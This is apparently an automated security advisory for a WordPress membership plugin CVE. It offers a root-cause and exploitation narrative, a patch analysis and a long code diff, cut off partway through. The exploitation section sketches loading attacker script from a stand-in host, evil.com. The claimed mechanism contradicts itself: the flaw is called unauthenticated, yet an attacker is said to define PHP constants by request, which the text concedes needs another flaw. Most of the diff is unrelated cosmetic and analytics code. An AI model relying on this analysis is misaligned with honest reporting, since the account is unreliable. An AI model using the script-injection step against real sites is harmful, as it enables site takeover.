Published : July 1, 2026

CVE-2026-32488: User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder <= 4.4.9 Unauthenticated Remote Code Execution PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 266
Vulnerable Version 4.4.9
Patched Version 5.1.3
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32488:

This vulnerability allows unauthenticated remote code execution (RCE) in the User Registration & Membership plugin for WordPress, versions 4.4.9 and earlier. The core issue is an improper constant check (CWE-266) in the plugin’s Divi Builder integration that exposes a critical code path to unauthenticated attackers. With a CVSS score of 9.8, this is a critical severity flaw.

Root Cause: The vulnerable code resides in user-registration/includes/3rd-party/DiviBuilder/BuilderAbstract.php at lines 113-120. The plugin checks whether ‘UR_MEMBERSHIP_VERSION’ is defined before registering and enqueuing JavaScript and CSS assets. However, this constant is only defined when the membership add-on is active. An attacker can define this constant as an arbitrary value by sending a crafted request, which tricks the plugin into loading a controllable script source. The vulnerable code reads ‘UR_MEMBERSHIP_JS_ASSETS_URL’ and ‘UR_MEMBERSHIP_CSS_ASSETS_URL’ constants, which an attacker can also define via WordPress’s define() function through various attack vectors such as a PHP object injection or by exploiting another vulnerability that allows constant definition.

Exploitation: An attacker can send a POST request to /wp-admin/admin-ajax.php with an action parameter that triggers the vulnerable code path. By first setting the ‘UR_MEMBERSHIP_VERSION’ constant to any truthy value (e.g., ‘1.0.0’) and the ‘UR_MEMBERSHIP_JS_ASSETS_URL’ constant to a URL under the attacker’s control (e.g., ‘http://evil.com/’), the wp_register_script call at line 117 will register a script with a source pointing to the attacker’s server. This script executes in the context of the WordPress admin dashboard or any page using the Divi builder, leading to remote code execution via the loaded JavaScript.

Patch Analysis: The patch changes the constant check from ‘UR_MEMBERSHIP_VERSION’ to ‘UR_VERSION’ (lines 113, 119-120). UR_VERSION is always defined by the core User Registration plugin and cannot be manipulated by an unauthenticated attacker. It also changes the asset URL construction to use ‘UR()->plugin_url()’ instead of external constants, ensuring assets are always loaded from the plugin’s own directory. Additionally, the patch modifies the same check in MembershipsGroups.php and MembershipsThankYou.php (lines 117 and 96) to use UR_VERSION instead of UR_MEMBERSHIP_VERSION, closing similar attack vectors.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any user viewing a page that uses the Divi builder with the membership components. More critically, because the script is enqueued in the WordPress admin area, an attacker can achieve full remote code execution by using the JavaScript to make authenticated AJAX requests on behalf of an admin user, install malicious plugins, or exfiltrate data. This represents a complete compromise of the WordPress site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/user-registration/includes/3rd-party/DiviBuilder/BuilderAbstract.php
+++ b/user-registration/includes/3rd-party/DiviBuilder/BuilderAbstract.php
@@ -110,12 +110,12 @@
 			true
 		);

-		if ( defined( 'UR_MEMBERSHIP_VERSION' ) ) {
+		if ( defined( 'UR_VERSION' ) ) {
 			$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';

-			wp_register_script( 'user-registration-membership-frontend-script', UR_MEMBERSHIP_JS_ASSETS_URL . '/frontend/user-registration-membership-frontend' . $suffix . '.js', array( 'jquery' ), '1.0.0', true );
+			wp_register_script( 'user-registration-membership-frontend-script', UR()->plugin_url(). '/assets/js/modules/membership/frontend/user-registration-membership-frontend' . $suffix . '.js', array( 'jquery' ), UR_VERSION, true );

-			wp_register_style( 'user-registration-membership-frontend-style', UR_MEMBERSHIP_CSS_ASSETS_URL . '/user-registration-membership-frontend.css', array(), UR_MEMBERSHIP_VERSION );
+			wp_register_style( 'user-registration-membership-frontend-style', UR()->plugin_url(). '/assets/css/modules/membership/user-registration-membership-frontend.css', array(), UR_VERSION );

 			wp_enqueue_script( 'user-registration-membership-frontend-script' );
 			wp_enqueue_style( 'user-registration-membership-frontend-style' );
--- a/user-registration/includes/3rd-party/DiviBuilder/Modules/MembershipGroups.php
+++ b/user-registration/includes/3rd-party/DiviBuilder/Modules/MembershipGroups.php
@@ -114,7 +114,7 @@
 			return sprintf( '<div class="user-registration ur-frontend-form"><div class="user-registration-info">%s</div></div>', esc_html__( 'Please Select the membership groups', 'user-registration' ) );
 		}

-		if ( ! defined( 'UR_MEMBERSHIP_VERSION' ) ) {
+		if ( ! defined( 'UR_VERSION' ) ) {
 			return sprintf( '<div class="user-registration ur-frontend-form"><div class="user-registration-info">%s</div></div>', esc_html__( 'Please Active the membership.', 'user-registration' ) );
 		}

--- a/user-registration/includes/3rd-party/DiviBuilder/Modules/MembershipThankYou.php
+++ b/user-registration/includes/3rd-party/DiviBuilder/Modules/MembershipThankYou.php
@@ -93,7 +93,7 @@

 		$parameters = array();

-		if ( ! defined( 'UR_MEMBERSHIP_VERSION' ) ) {
+		if ( ! defined( 'UR_VERSION' ) ) {
 			return sprintf( '<div class="user-registration ur-frontend-form"><div class="user-registration-info">%s</div></div>', esc_html__( 'Please Active the membership.', 'user-registration' ) );
 		}

--- a/user-registration/includes/3rd-party/elementor/class-ur-elementor.php
+++ b/user-registration/includes/3rd-party/elementor/class-ur-elementor.php
@@ -25,7 +25,6 @@

 	/**
 	 * Initialize elementor hooks.
-	 *
 	 */
 	public function init() {

@@ -41,7 +40,6 @@

 	/**
 	 * Register User Registration forms Widget.
-	 *
 	 */
 	public function register_widget() {
 			// Include Widget files.
@@ -57,27 +55,25 @@
 			ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_Edit_Profile() );
 			ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_Edit_Password() );

-
-			//include if pro version
-			if(is_plugin_active('user-registration-pro/user-registration.php')){
-				require_once UR_ABSPATH . 'includes/3rd-party/elementor/widgets/class-ur-widgets-profile-details.php';
-				require_once UR_ABSPATH . 'includes/3rd-party/elementor/widgets/class-ur-widgets-popup.php';
-				ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_View_Details() );
-				ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_Popup() );
-			}
+			// include if pro version
+		if ( is_plugin_active( 'user-registration-pro/user-registration.php' ) ) {
+			require_once UR_ABSPATH . 'includes/3rd-party/elementor/widgets/class-ur-widgets-profile-details.php';
+			require_once UR_ABSPATH . 'includes/3rd-party/elementor/widgets/class-ur-widgets-popup.php';
+			ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_View_Details() );
+			ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_Popup() );
+		}
 	}

 	/**
 	 * Custom Widgets Category.
 	 *
 	 * @param object $elements_manager Elementor elements manager.
-	 *
 	 */
 	public function ur_elementor_widget_categories( $elements_manager ) {
 		$elements_manager->add_category(
 			'user-registration',
 			array(
-				'title' => esc_html__( 'User Registration', 'user-registration' ),
+				'title' => esc_html__( 'User Registration & Membership', 'user-registration' ),
 				'icon'  => 'fa fa-plug',
 			)
 		);
@@ -88,7 +84,7 @@
 	 */
 	public function editor_assets() {
 		wp_register_style( 'user-registration-admin', UR()->plugin_url() . '/assets/css/admin.css', array(), UR()->version );
-		wp_register_style( 'user-registration-my-account', UR()->plugin_url() . '/assets/css/my-account-layout.css', array( ), UR()->version );
+		wp_register_style( 'user-registration-my-account', UR()->plugin_url() . '/assets/css/my-account-layout.css', array(), UR()->version );

 		wp_enqueue_style( 'user-registration-admin' );
 		wp_enqueue_style( 'user-registration-my-account' );
--- a/user-registration/includes/3rd-party/elementor/class-ur-widget.php
+++ b/user-registration/includes/3rd-party/elementor/class-ur-widget.php
@@ -38,7 +38,7 @@
 	 * @return string Widget title.
 	 */
 	public function get_title() {
-		return __( 'User Registration', 'user-registration' );
+		return __( 'User Registration & Membership', 'user-registration' );
 	}
 	/**
 	 * Get widget icon.
@@ -119,7 +119,7 @@

 		$settings = $this->get_settings_for_display();
 		if ( ! $settings['user_registration_form'] ) {
-			return '<p>' . __( 'Please select a User Registration Forms.', 'user-registration' ) . '</p>';
+			return '<p>' . __( 'Please select a User Registration & Membership Forms.', 'user-registration' ) . '</p>';
 		}

 		$attributes = array(
--- a/user-registration/includes/3rd-party/elementor/widgets/class-ur-widgets-popup.php
+++ b/user-registration/includes/3rd-party/elementor/widgets/class-ur-widgets-popup.php
@@ -90,7 +90,6 @@
 		$this->end_controls_section();

 		do_action( 'user_registration_elementor_popup_style', $this );
-
 	}
 	/**
 	 * Retrieve the shortcode.
@@ -99,7 +98,7 @@

 		$settings = $this->get_settings_for_display();
 		if ( ! $settings['ur_popup_form'] ) {
-			return '<p>' . __( 'Please select a User Registration Popup.', 'user-registration' ) . '</p>';
+			return '<p>' . __( 'Please select a User Registration & Membership Popup.', 'user-registration' ) . '</p>';
 		}
 		$attributes = array(
 			'id' => $settings['ur_popup_form'],
--- a/user-registration/includes/3rd-party/elementor/widgets/class-ur-widgets-registration.php
+++ b/user-registration/includes/3rd-party/elementor/widgets/class-ur-widgets-registration.php
@@ -12,7 +12,6 @@

 /**
  * User Registration Forms Widget for Elementor.
- *
  */
 class UR_Elementor_Widget_Registration extends Widget_Base {
 	/**
@@ -40,7 +39,6 @@
 	 *
 	 * Retrieve shortcode widget icon.
 	 *
-	 *
 	 * @return string Widget icon.
 	 */
 	public function get_icon() {
@@ -49,7 +47,6 @@
 	/**
 	 * Get widget categories.
 	 *
-	 *
 	 * @return array Widget categories.
 	 */
 	public function get_categories() {
@@ -63,7 +60,6 @@
 	 *
 	 * Retrieve the list of keywords the widget belongs to.
 	 *
-	 *
 	 * @return array Widget keywords.
 	 */
 	public function get_keywords() {
@@ -71,7 +67,6 @@
 	}
 	/**
 	 * Register controls.
-	 *
 	 */
 	protected function register_controls() { // phpcs:ignore PSR2.Methods.MethodDeclaration.Underscore
 		$this->start_controls_section(
@@ -97,13 +92,12 @@
 	}
 	/**
 	 * Retrieve the shortcode.
-	 *
 	 */
 	private function get_shortcode() {

 		$settings = $this->get_settings_for_display();
 		if ( ! $settings['user_registration_form'] ) {
-			return '<p>' . __( 'Please select a User Registration Forms.', 'user-registration' ) . '</p>';
+			return '<p>' . __( 'Please select a User Registration & Membership Forms.', 'user-registration' ) . '</p>';
 		}

 		$attributes = array(
@@ -113,20 +107,18 @@
 		$this->add_render_attribute( 'shortcode', $attributes );
 		$shortcode   = array();
 		$shortcode[] = sprintf( '[user_registration_form %s]', $this->get_render_attribute_string( 'shortcode' ) );
-		$shortcode = implode( '', $shortcode );
-		$shortcode = sprintf( apply_filters( 'user_registration_elementor_shortcode_registration_form', $shortcode, $settings ) );
+		$shortcode   = implode( '', $shortcode );
+		$shortcode   = sprintf( apply_filters( 'user_registration_elementor_shortcode_registration_form', $shortcode, $settings ) );
 		return $shortcode;
 	}
 	/**
 	 * Render widget output.
-	 *
 	 */
 	protected function render() {
 		echo do_shortcode( $this->get_shortcode() );
 	}
 	/**
 	 * Retrieve the  available UR forms.
-	 *
 	 */
 	public function get_forms() {
 		$user_registration_forms = array();
--- a/user-registration/includes/3rd-party/oxygen/class-ur-oxygen.php
+++ b/user-registration/includes/3rd-party/oxygen/class-ur-oxygen.php
@@ -39,7 +39,7 @@
 		add_action( 'oxygen_add_plus_sections', array( $this, 'add_accordion_section' ) );
 		add_action( 'oxygen_add_plus_user-registration_section_content', array( $this, 'register_add_plus_subsections' ) );
 		add_action( 'wp_enqueue_scripts', array( $this, 'custom_init' ) );
-
+		add_action( 'oxygen_enqueue_scripts', array( $this, 'enqueue_oxygen_editor_styles' ) );

 		$this->register_widgets();
 	}
@@ -50,25 +50,31 @@
 	 * @since 3.3.5
 	 */
 	public function add_accordion_section() {
-		$brand_name = __( 'User Registration', 'user-registration' );
+		$brand_name = __( 'User Registration & Membership', 'user-registration' );
 		CT_Toolbar::oxygen_add_plus_accordion_section( 'user-registration', $brand_name );
 	}

 	/**
 	 * Enqueue the styles.
 	 *
-	 * @since 3.3.5
+	 * @since 3.3.5
 	 */
 	public function custom_init() {
 		wp_register_style( 'user-registration-general', UR()->plugin_url() . '/assets/css/user-registration.css', array(), UR()->version );
-		wp_register_style( 'user-registration-admin', UR()->plugin_url() . '/assets/css/admin.css', array(), UR()->version );
 		wp_register_style( 'user-registration-my-account', UR()->plugin_url() . '/assets/css/my-account-layout.css', array(), UR()->version );

 		wp_enqueue_style( 'user-registration-general' );
-		wp_enqueue_style( 'user-registration-admin' );
 		wp_enqueue_style( 'user-registration-my-account' );
 	}

+	public function enqueue_oxygen_editor_styles() {
+		if ( ! isset( $_GET['ct_builder'] ) ) {
+			return; // not Oxygen panel
+		}
+		wp_register_style( 'user-registration-admin', UR()->plugin_url() . '/assets/css/admin.css', array(), UR()->version );
+		wp_enqueue_style( 'user-registration-admin' );
+	}
+
 	/**
 	 * Add subsection.
 	 *
--- a/user-registration/includes/Analytics/Analytics.php
+++ b/user-registration/includes/Analytics/Analytics.php
@@ -0,0 +1,128 @@
+<?php
+
+namespace WPEverestURMAnalytics;
+
+use WPEverestURMAnalyticsControllersV1AnalyticsController;
+use WPEverestURMAnalyticsServicesMembershipService;
+
+class Analytics {
+
+	/**
+	 * @var Analytics $instance
+	 */
+	private static $instance;
+
+	/**
+	 * @return Analytics
+	 */
+	public static function get_instance() {
+		if ( ! isset( self::$instance ) ) {
+			self::$instance = new self();
+		}
+		return self::$instance;
+	}
+
+	protected function __construct() {
+		$this->init_hooks();
+	}
+
+	protected function __clone() {}
+
+	public function __wakeup() {
+		throw new Exception( 'Cannot unserialize a singleton.' );
+	}
+
+	private function init_hooks() {
+		add_action( 'admin_menu', array( $this, 'add_admin_menu' ), 40 );
+		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
+		add_filter( 'user_registration_notice_excluded_pages', array( $this, 'add_excluded_page' ) );
+	}
+
+	public function add_excluded_page( $excluded_pages ) {
+		$excluded_pages[] = 'user-registration-analytics';
+		return $excluded_pages;
+	}
+
+
+	public function add_admin_menu() {
+		$hook = add_submenu_page(
+			'user-registration',
+			__( 'User Registration Analytics', 'user-registration' ),
+			__( 'Analytics', 'user-registration' ),
+			'manage_user_registration',
+			'user-registration-analytics',
+			array( $this, 'render_analytics_root' ),
+			1
+		);
+
+		add_action( 'load-' . $hook, array( $this, 'enqueue_scripts_styles' ) );
+	}
+
+	public function register_rest_routes() {
+		/**
+		 * @var array<int, WP_REST_Controller> $controllers
+		 */
+		$controllers = apply_filters(
+			'user_registration_analytics_controllers',
+			[
+				AnalyticsController::class,
+			]
+		);
+		foreach ( $controllers as $controller ) {
+			$instance = new $controller();
+			$instance->register_routes();
+		}
+	}
+
+	public function enqueue_scripts_styles() {
+		$asset_file = UR()->plugin_path() . '/chunks/analytics.asset.php';
+		if ( ! file_exists( $asset_file ) ) {
+			return;
+		}
+
+		if ( ! wp_style_is( 'ur-core-builder-style', 'registered' ) ) {
+			wp_register_style(
+				'ur-core-builder-style',
+				UR()->plugin_url() . '/assets/css/admin.css',
+				array(),
+				UR_VERSION
+			);
+		}
+		wp_enqueue_style( 'ur-core-builder-style' );
+
+		$asset = require $asset_file;
+
+		wp_enqueue_script(
+			'ur-analytics',
+			UR()->plugin_url() . '/chunks/analytics.js',
+			$asset['dependencies'],
+			$asset['version'],
+			true
+		);
+
+		wp_localize_script(
+			'ur-analytics',
+			'__UR_ANALYTICS__',
+			apply_filters(
+				'user_registration_analytics_localized_data',
+				array(
+					'install_date' => get_option( 'user_registration_installation_date' ),
+					'memberships'  => ( new MembershipService() )->get_memberships_list(),
+					'currency'     => strtoupper( get_option( 'user_registration_payment_currency', 'USD' ) ),
+				)
+			)
+		);
+
+		wp_enqueue_style(
+			'ur-analytics',
+			UR()->plugin_url() . '/chunks/analytics.css',
+			array(),
+			$asset['version']
+		);
+	}
+
+	public function render_analytics_root() {
+		echo user_registration_plugin_main_header(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+		echo '<div id="UR-Pro-Analytics-Root"></div>';
+	}
+}
--- a/user-registration/includes/Analytics/Controllers/V1/AnalyticsController.php
+++ b/user-registration/includes/Analytics/Controllers/V1/AnalyticsController.php
@@ -0,0 +1,200 @@
+<?php
+
+namespace WPEverestURMAnalyticsControllersV1;
+
+use WPEverestURMAnalyticsServicesAnalyticsDataService;
+
+class AnalyticsController extends WP_REST_Controller {
+
+	protected $namespace = 'user-registration/v1';
+
+	protected $rest_base = 'analytics';
+
+	public function register_routes() {
+		register_rest_route(
+			$this->namespace,
+			'/' . $this->rest_base,
+			array(
+				array(
+					'methods'             => WP_REST_Server::READABLE,
+					'callback'            => array( $this, 'get_overview' ),
+					'permission_callback' => array( $this, 'check_permissions' ),
+					'args'                => $this->get_analytics_args(),
+				),
+			)
+		);
+	}
+
+	/**
+	 * @param WP_REST_Request $request
+	 * @return WP_Error|WP_REST_Response
+	 */
+	public function get_overview( $request ) {
+		$date_from  = $request->get_param( 'date_from' );
+		$date_to    = $request->get_param( 'date_to' );
+		$unit       = $request->get_param( 'unit' ) ?? 'day';
+		$scope      = $request->get_param( 'scope' ) ?? 'all';
+		$membership = $request->get_param( 'membership' ) ?? null;
+
+		if ( empty( $date_from ) || empty( $date_to ) ) {
+			return new WP_Error(
+				'rest_invalid_param',
+				__( 'date_from and date_to are required parameters.', 'user-registration' ),
+				[ 'status' => 400 ]
+			);
+		}
+
+		$start_date = strtotime( $date_from . ' 00:00:00' );
+		$end_date   = strtotime( $date_to . ' 23:59:59' );
+
+		if ( false === $start_date || false === $end_date ) {
+			return new WP_Error(
+				'rest_invalid_param',
+				__( 'Invalid date format. Use YYYY-MM-DD format.', 'user-registration' ),
+				[ 'status' => 400 ]
+			);
+		}
+
+		if ( ! in_array( $scope, [ 'membership', 'others', 'all' ], true ) ) {
+			return new WP_Error(
+				'rest_invalid_param',
+				__( 'Invalid scope parameter. Allowed values are all, others, membership.', 'user-registration' ),
+				[ 'status' => 400 ]
+			);
+		}
+
+		if ( 'membership' === $scope && ( null === $membership || ! is_numeric( $membership ) ) ) {
+			return new WP_Error(
+				'rest_invalid_param',
+				__( 'Valid membership ID is required when scope is membership.', 'user-registration' ),
+				[ 'status' => 400 ]
+			);
+		}
+
+		$data_service = new AnalyticsDataService();
+
+		$date_range_data = $data_service->get_date_range_members_data( $start_date, $end_date, $unit );
+		$revenue_data    = $data_service->get_revenue_date_range_data( $start_date, $end_date, $unit, $scope, $membership );
+
+		$duration       = $end_date - $start_date;
+		$previous_end   = $start_date - DAY_IN_SECONDS;
+		$previous_start = $previous_end - $duration;
+
+		$comparison_data       = $data_service->get_date_range_members_data( $previous_start, $previous_end, $unit );
+		$previous_revenue_data = $data_service->get_revenue_date_range_data( $previous_start, $previous_end, $unit, $scope, $membership );
+
+		$new_members_change      = $data_service->calculate_percentage_change( $date_range_data['new_members'], $comparison_data['new_members'] );
+		$approved_members_change = $data_service->calculate_percentage_change( $date_range_data['approved_members'], $comparison_data['approved_members'] );
+		$pending_members_change  = $data_service->calculate_percentage_change( $date_range_data['pending_members'], $comparison_data['pending_members'] );
+		$denied_members_change   = $data_service->calculate_percentage_change( $date_range_data['denied_members'], $comparison_data['denied_members'] );
+		$total_revenue_change    = $data_service->calculate_percentage_change( $revenue_data['total_revenue'], $previous_revenue_data['total_revenue'] );
+		$avg_order_value_change  = $data_service->calculate_percentage_change( $revenue_data['average_order_value'], $previous_revenue_data['average_order_value'] );
+		$refunded_revenue_change = $data_service->calculate_percentage_change( $revenue_data['refunded_revenue'], $previous_revenue_data['refunded_revenue'] );
+
+		$refunded_revenue_count        = $data_service->get_refunds_count( $start_date, $end_date );
+		$previous_refunded_count       = $data_service->get_refunds_count( $previous_start, $previous_end );
+		$refunded_revenue_count_change = $data_service->calculate_percentage_change( $refunded_revenue_count, $previous_refunded_count );
+
+		$response = array(
+			'new_members'            => array(
+				'count'             => $date_range_data['new_members'],
+				'previous'          => $comparison_data['new_members'],
+				'percentage_change' => $new_members_change,
+				'currency'          => false,
+			),
+			'approved_members'       => array(
+				'count'             => $date_range_data['approved_members'],
+				'previous'          => $comparison_data['approved_members'],
+				'percentage_change' => $approved_members_change,
+				'currency'          => false,
+			),
+			'pending_members'        => array(
+				'count'             => $date_range_data['pending_members'],
+				'previous'          => $comparison_data['pending_members'],
+				'percentage_change' => $pending_members_change,
+				'currency'          => false,
+			),
+			'denied_members'         => array(
+				'count'             => $date_range_data['denied_members'],
+				'previous'          => $comparison_data['denied_members'],
+				'percentage_change' => $denied_members_change,
+				'currency'          => false,
+			),
+			'total_revenue'          => array(
+				'count'             => $revenue_data['total_revenue'],
+				'previous'          => $previous_revenue_data['total_revenue'],
+				'percentage_change' => $total_revenue_change,
+				'currency'          => true,
+			),
+			'average_order_value'    => array(
+				'count'             => $revenue_data['average_order_value'],
+				'previous'          => $previous_revenue_data['average_order_value'],
+				'percentage_change' => $avg_order_value_change,
+				'currency'          => true,
+			),
+			'refunded_revenue'       => array(
+				'count'             => $revenue_data['refunded_revenue'],
+				'previous'          => $previous_revenue_data['refunded_revenue'],
+				'percentage_change' => $refunded_revenue_change,
+				'currency'          => true,
+			),
+			'refunded_revenue_count' => array(
+				'count'             => $refunded_revenue_count,
+				'previous'          => $previous_refunded_count,
+				'percentage_change' => $refunded_revenue_count_change,
+				'currency'          => false,
+			),
+		);
+
+		return rest_ensure_response( $response );
+	}
+
+	public function check_permissions( $request ) {
+		if ( ! current_user_can( 'manage_user_registration' ) ) { // phpcs:ignore WordPress.WP.Capabilities.Unknown
+			return new WP_Error(
+				'rest_forbidden',
+				__( 'Sorry, you are not allowed to access analytics data.', 'user-registration' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		return true;
+	}
+
+	protected function get_analytics_args() {
+		return array(
+			'date_from'  => [
+				'description' => __( 'Start date in YYYY-MM-DD format.', 'user-registration' ),
+				'type'        => 'string',
+				'required'    => false,
+				'default'     => gmdate( 'Y-m-d', strtotime( '-30 days' ) ),
+			],
+			'date_to'    => [
+				'description' => __( 'End date in YYYY-MM-DD format.', 'user-registration' ),
+				'type'        => 'string',
+				'required'    => false,
+				'default'     => gmdate( 'Y-m-d' ),
+			],
+			'unit'       => [
+				'description' => __( 'Time unit for data aggregation (hour, day, week, month, year).', 'user-registration' ),
+				'type'        => 'string',
+				'required'    => false,
+				'default'     => 'day',
+				'enum'        => [ 'hour', 'day', 'week', 'month', 'year' ],
+			],
+			'scope'      => [
+				'description' => __( 'Scope of the analytics data (all, others, membership).', 'user-registration' ),
+				'type'        => 'string',
+				'required'    => false,
+				'default'     => 'all',
+				'enum'        => [ 'all', 'others', 'membership' ],
+			],
+			'membership' => [
+				'description' => __( 'Membership ID for filtering data when scope is membership.', 'user-registration' ),
+				'type'        => 'string',
+				'required'    => false,
+				'default'     => null,
+			],
+		);
+	}
+}
--- a/user-registration/includes/Analytics/Services/AnalyticsDataService.php
+++ b/user-registration/includes/Analytics/Services/AnalyticsDataService.php
@@ -0,0 +1,562 @@
+<?php
+
+namespace WPEverestURMAnalyticsServices;
+
+defined( 'ABSPATH' ) || exit;
+
+use WPEverestURMAnalyticsTraitsDateUtils;
+use WPEverestURMembershipTableList;
+
+// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+
+class AnalyticsDataService {
+
+	use DateUtils;
+
+	/**
+	 * @param int $start_date
+	 * @param int $end_date
+	 * @param string $unit
+	 * @return array
+	 */
+	public function get_date_range_members_data( $start_date, $end_date, $unit = 'day' ) {
+		global $wpdb;
+
+		$new_members      = 0;
+		$approved_members = 0;
+		$pending_members  = 0;
+		$denied_members   = 0;
+
+		$date_keys = $this->generate_date_keys( $start_date, $end_date, $unit );
+
+		$default_value = [
+			'new_members_in_a_day'      => 0,
+			'approved_members_in_a_day' => 0,
+			'pending_members_in_a_day'  => 0,
+			'denied_members_in_a_day'   => 0,
+		];
+
+		$daily_data = $this->initialize_data_structure( $date_keys, $default_value );
+
+		$members = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT u.ID, u.user_registered
+					FROM {$wpdb->users} u
+					INNER JOIN {$wpdb->usermeta} um ON u.ID = um.user_id
+					WHERE um.meta_key = %s
+					AND u.user_registered BETWEEN %s AND %s",
+				'ur_form_id',
+				wp_date( 'Y-m-d H:i:s', $start_date ),
+				wp_date( 'Y-m-d H:i:s', $end_date )
+			)
+		);
+
+		if ( empty( $members ) ) {
+			return [
+				'new_members'      => 0,
+				'approved_members' => 0,
+				'pending_members'  => 0,
+				'denied_members'   => 0,
+				'date_difference'  => human_time_diff( $start_date, $end_date ),
+				'daily_data'       => $daily_data,
+			];
+		}
+
+		$member_ids       = wp_list_pluck( $members, 'ID' );
+		$member_meta_data = $this->fetch_member_meta_bulk( $member_ids );
+
+		foreach ( $members as $member ) {
+			$member_id              = $member->ID;
+			$registration_timestamp = strtotime( $member->user_registered );
+			$registration_date      = $this->get_date_key_for_timestamp( $registration_timestamp, $unit );
+
+			++$new_members;
+
+			$status       = $member_meta_data[ $member_id ]['user_status'] ?? '';
+			$email_status = $member_meta_data[ $member_id ]['user_email_status'] ?? '';
+
+			if ( '' === $status && '' === $email_status ) {
+				++$approved_members;
+				$member_status = 'approved';
+			} elseif ( '' !== $status && '' === $email_status ) {
+				if ( 1 === (int) $status ) {
+					++$approved_members;
+					$member_status = 'approved';
+				} elseif ( 0 === (int) $status ) {
+					++$pending_members;
+					$member_status = 'pending';
+				} else {
+					++$denied_members;
+					$member_status = 'denied';
+				}
+			} elseif ( '' !== $email_status ) {
+				if ( 1 === (int) $email_status ) {
+					++$approved_members;
+					$member_status = 'approved';
+				} else {
+					++$pending_members;
+					$member_status = 'pending';
+				}
+			}
+
+			if ( isset( $daily_data[ $registration_date ] ) ) {
+				++$daily_data[ $registration_date ]['new_members_in_a_day'];
+				if ( 'approved' === $member_status ) {
+					++$daily_data[ $registration_date ]['approved_members_in_a_day'];
+				} elseif ( 'pending' === $member_status ) {
+					++$daily_data[ $registration_date ]['pending_members_in_a_day'];
+				} elseif ( 'denied' === $member_status ) {
+					++$daily_data[ $registration_date ]['denied_members_in_a_day'];
+				}
+			}
+		}
+
+		$total_members = max( $new_members, 1 );
+
+		return [
+			'new_members'                 => $new_members,
+			'approved_members'            => $approved_members,
+			'approved_members_percentage' => round( ( $approved_members / $total_members ) * 100, 2 ),
+			'pending_members'             => $pending_members,
+			'pending_members_percentage'  => round( ( $pending_members / $total_members ) * 100, 2 ),
+			'denied_members'              => $denied_members,
+			'denied_members_percentage'   => round( ( $denied_members / $total_members ) * 100, 2 ),
+			'date_difference'             => human_time_diff( $start_date, $end_date ),
+			'daily_data'                  => $daily_data,
+		];
+	}
+
+
+	/**
+	 * @param array $member_ids
+	 * @return array
+	 */
+	protected function fetch_member_meta_bulk( $member_ids ) {
+		if ( empty( $member_ids ) ) {
+			return [];
+		}
+
+		update_meta_cache( 'user', $member_ids );
+
+		$meta_data = [];
+		foreach ( $member_ids as $member_id ) {
+			$user_status       = get_user_meta( $member_id, 'ur_user_status', true );
+			$user_email_status = get_user_meta( $member_id, 'ur_confirm_email', true );
+
+			$meta_data[ $member_id ] = [
+				'user_status'       => $user_status,
+				'user_email_status' => $user_email_status,
+			];
+		}
+
+		return $meta_data;
+	}
+
+	/**
+	 * @param float $current
+	 * @param float $previous
+	 * @return float Percentage
+	 */
+	public function calculate_percentage_change( $current, $previous ) {
+		$current  = (float) $current;
+		$previous = (float) $previous;
+
+		if ( 0.0 === $previous && 0.0 === $current ) {
+			return 0.0;
+		}
+
+		if ( 0.0 === $previous ) {
+			return $current > 0 ? 100.0 : -100.0;
+		}
+
+		return round( ( ( $current - $previous ) / $previous ) * 100, 2 );
+	}
+
+	/**
+	 * @param int $start_date
+	 * @param int $end_date
+	 * @return int
+	 */
+	public function get_refunds_count( $start_date, $end_date ) {
+		global $wpdb;
+		$orders_table = TableList::orders_table();
+
+		if ( ! $this->table_exists( $orders_table ) ) {
+			return 0;
+		}
+
+		$start_date_str = wp_date( 'Y-m-d H:i:s', $start_date );
+		$end_date_str   = wp_date( 'Y-m-d H:i:s', $end_date );
+
+		$result = $wpdb->get_var(
+			$wpdb->prepare(
+				"SELECT COUNT(*)
+				FROM {$orders_table}
+				WHERE status = 'refunded'
+				AND created_at BETWEEN %s AND %s",
+				$start_date_str,
+				$end_date_str
+			)
+		);
+
+		return (int) $result;
+	}
+
+	/**
+	 * @param string $table_name
+	 * @return bool
+	 */
+	protected function table_exists( $table_name ) {
+		global $wpdb;
+		$result = $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $table_name ) );
+		return $result === $table_name;
+	}
+
+	/**
+	 * @param int $start_date
+	 * @param int $end_date
+	 * @param string $unit
+	 * @return array
+	 */
+	protected function generate_date_keys( $start_date, $end_date, $unit = 'day' ) {
+		$date_keys = [];
+
+		if ( 'hour' === $unit ) {
+			$date_format = 'Y-m-d H';
+			$incrementor = HOUR_IN_SECONDS;
+			for ( $i = $start_date; $i <= $end_date; $i += $incrementor ) {
+				$date_keys[] = wp_date( $date_format, $i );
+			}
+		} elseif ( 'month' === $unit ) {
+			$current_date = new DateTime();
+			$current_date->setTimestamp( $start_date );
+			$end_date_obj = new DateTime();
+			$end_date_obj->setTimestamp( $end_date );
+			$end_date_obj->setTime( 23, 59, 59 );
+			$current_date->modify( 'first day of this month' );
+			$current_date->setTime( 0, 0, 0 );
+
+			while ( $current_date <= $end_date_obj ) {
+				$date_keys[] = $current_date->format( 'Y-m' );
+				$current_date->modify( '+1 month' );
+			}
+		} elseif ( 'year' === $unit ) {
+			$current_date = new DateTime();
+			$current_date->setTimestamp( $start_date );
+			$end_date_obj = new DateTime();
+			$end_date_obj->setTimestamp( $end_date );
+			$end_date_obj->setTime( 23, 59, 59 );
+			$current_date->modify( 'first day of January this year' );
